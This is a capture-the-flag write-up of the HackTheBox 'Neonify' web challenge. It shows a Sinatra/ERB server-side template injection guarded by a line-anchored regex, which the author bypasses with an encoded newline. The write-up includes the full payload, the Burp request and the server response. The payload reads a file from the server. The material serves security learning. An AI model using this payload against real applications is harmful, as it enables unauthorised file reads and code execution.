Post

Neonify - Web challenge - HackTheBox

INTRODUCTION

Neonify is a quite easy web challenge created by Codehead on HackTheBox.

It involves analysing a ruby-based web application to find a SSTI.

However, there is regex filter in place that needs to be bypassed in order to exploit the SSTI.

ANALYSING THE SOURCE CODE

Before we begin, I want to say my ruby skill is not really good. So if you think I made a mistake somewhere, please reach out to me on discord (n3hal#1527).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class NeonControllers < Sinatra::Base

  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    @neon = "Glow With The Flow"
    erb :'index'
  end

  post '/' do
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = "Malicious Input Detected"
    end
    erb :'index'
  end

end 

The controllers file is at challenge/app/controllers/neon.rb. This contains all the routes that the web application can expect.

There is a single route /, that can take both GET and POST requests.

When a GET request is made to /, the ERB template challenge/app/views/index.erb is rendered. A string Glow With The Flow is also passed to the template as a variable.

While making a POST request, the web application expects a POST parameter neon. The value of neon parameter is checked against regex /^[0-9a-z ]+$/i which is checking if the input only contains alphanumeric characters. If the check returns true, the value of neon is passed to the index.erb and it is rendered. Otherwise, the string Malicious Input Detected is passed to the template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
    <title>Neonify</title>
    <link rel="stylesheet" href="stylesheets/style.css">
    <link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
    <div class="wrapper">
        <h1 class="title">Amazing Neonify Generator</h1>
        <form action="/" method="post">
            <p>Enter Text to Neonify</p><br>
            <input type="text" name="neon" value="">
            <input type="submit" value="Submit">
        </form>
        <h1 class="glow"><%= @neon %></h1>
    </div>
</body>
</html>

We can see that the value of POST parameter neon is embedded into the template.

DETECTING THE SSTI VULNERABILITY

Since the user-supplied parameter value in neon is reflected back to us through the template, the most obvious attack vector would be Server Side Template Injection (SSTI).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class NeonControllers < Sinatra::Base

  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    @neon = "Glow With The Flow"
    erb :'index'
  end

  post '/' do
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = ERB.new(params[:neon]).result(binding)
      #@neon = "Malicious Input Detected"
    end
    erb :'index'
  end

end 

Just to check the SSTI, I have edited the challenge/app/controllers/neon.rb so that the regex check does not affect us for now.

1
2
3
4
5
6
7
8
9
┌──(n3hal㉿Universe7)-[~/…/web_neonify/challenge/app/controllers]
└─$ docker run -it web_neonify sh
/app # shotgun -o0.0.0.0 -p1337 config.ru
== Shotgun/WEBrick on http://0.0.0.0:1337/
[2022-12-26 06:41:40] INFO  WEBrick 1.6.1
[2022-12-26 06:41:40] INFO  ruby 2.7.5 (2021-11-24) [x86_64-linux-musl]
[2022-12-26 06:41:40] INFO  WEBrick::HTTPServer#start: pid=7 port=1337

I have popped a shell on the docker image and ran the application.

We can see the input Nehal is nicely neonified and reflected back to us.

When we give a SSTI payload specific to ERB template <%= 7*7 %>, we can see that the input is processed and we see 49 reflected back to us.

This confirms that the application might be vulnerable to SSTI.

BYPASSING THE REGEX

Although we have identified the SSTI, there is a regex filter /^[0-9a-z ]+$/i in place to stop us from exploiting.

This regex checks if the input provided contains only numbers and letters. This potentially stops us from giving characters like <, %, =, . and > as input.

1
2
3
4
5
6
7
8
9
my_input = "Nehal<%= 7*7 %>"

if my_input =~ /^[0-9a-z ]+$/i
  puts "BYPASSED :)"
else
  puts "Not able to bypass :( "
end

Here, a ruby script is created that uses the same regex to see how an input behaves.

1
2
3
4
5
┌──(n3hal㉿Universe7)-[~/…/challenges/web/neonify/tests]
└─$ ruby script.rb
Not able to bypass :(

As expected, the input Nehal<%= 7*7 %> is not able to bypass the regex and hence we see the string Not able to bypass :(.

But here is the magic.

1
2
3
4
5
6
7
8
9
my_input = "Nehal\n<%= 7*7 %>"

if my_input =~ /^[0-9a-z ]+$/i
  puts "BYPASSED :)"
else
  puts "Not able to bypass :( "
end

Here the input is changed to Nehal\n<%= 7*7 %>.

1
2
3
4
5
┌──(n3hal㉿Universe7)-[~/…/challenges/web/neonify/tests]
└─$ ruby script.rb 
BYPASSED :)

When we add the \n character is added, we can see the regex is bypassed and BYPASSED :) is printed.

In ruby, the ^ and $ match at the start and end of each line. So if any (!) one line is matching, we have a successful match.

The \n separates the the input Nehal\n<%= 7*7 %> into 2 lines: Nehal and <%= 7*7 %>. Since the regex check for Nehal returns true we are able to bypass the regex for the string as a whole.

CRAFTING THE PAYLOAD

In ERB based SSTI, we can read a file on the filesytem by File.open('/path/to/file.txt').read.

Combining the regex filter and SSTI, our final payload can be:

1
Nehal\n<%= File.open('/app/flag.txt').read %>

We are still getting detected.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/app # cat app/controllers/neon.rb 
class NeonControllers < Sinatra::Base

  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    @neon = "Glow With The Flow"
    erb :'index'
  end

  post '/' do
    puts params[:neon]
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = ERB.new(params[:neon]).result(binding)
      #@neon = "Malicious Input Detected"
    end
    erb :'index'
  end

I am printing the raw string value of neon paramter to see how the input shows up in the backend application.

1
2
3
4
5
6
7
8
9
  /app # shotgun -o0.0.0.0 -p1337 config.ru
== Shotgun/WEBrick on http://0.0.0.0:1337/
[2022-12-26 07:13:15] INFO  WEBrick 1.6.1
[2022-12-26 07:13:15] INFO  ruby 2.7.5 (2021-11-24) [x86_64-linux-musl]
[2022-12-26 07:13:15] INFO  WEBrick::HTTPServer#start: pid=24 port=1337
"Nehal\\n<%= File.open('/app/flag.txt').read %>"
172.17.0.1 - - [26/Dec/2022:07:13:21 +0000] "POST / HTTP/1.1" 200 559 0.0298

We can see that the newline \n in our payload is automatically escaped.

One possible way can be to encode the newline (\n -> %0a) so that when the application decodes it, we get the newline we want.

The payload is updated as:

1
Nehal%0a<%= File.open('/app/flag.txt').read %>

We still are on the same boat.

Let us take this thing on burp so that we can encode our payload as a whole.

The final payload is updated as:

1
Nehal%0a<%25%3d+File.open('/app/flag.txt').read+%25>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 172.17.0.2:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://172.17.0.2:1337
Connection: close
Referer: http://172.17.0.2:1337/
Upgrade-Insecure-Requests: 1

neon=Nehal%0a<%25%3d+File.open('/app/flag.txt').read+%25>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 567
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Server: WEBrick/1.6.1 (Ruby/2.7.5/2021-11-24)
Date: Mon, 26 Dec 2022 07:24:21 GMT
Connection: close

<!DOCTYPE html>
<html>
<head>
    <title>Neonify</title>
    <link rel="stylesheet" href="stylesheets/style.css">
    <link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
    <div class="wrapper">
        <h1 class="title">Amazing Neonify Generator</h1>
        <form action="/" method="post">
            <p>Enter Text to Neonify</p><br>
            <input type="text" name="neon" value="">
            <input type="submit" value="Submit">
        </form>
        <h1 class="glow">Nehal
HTB{f4k3_fl4g_f0r_t3st1ng}</h1>
    </div>
</body>
</html>

We can see our nice flag HTB{f4k3_fl4g_f0r_t3st1ng} for testing.

CONCLUSION

Trying the same payload on the running instance will give us the flag.

The SSTI in this challenge is quite obvious.

But the takeaway from this challenge is about how a newline can be used to bypass a regex check.

This is all in this challenge.

Thanks for reading this far.

Hope you liked it.

This post is licensed under CC BY 4.0 by the author.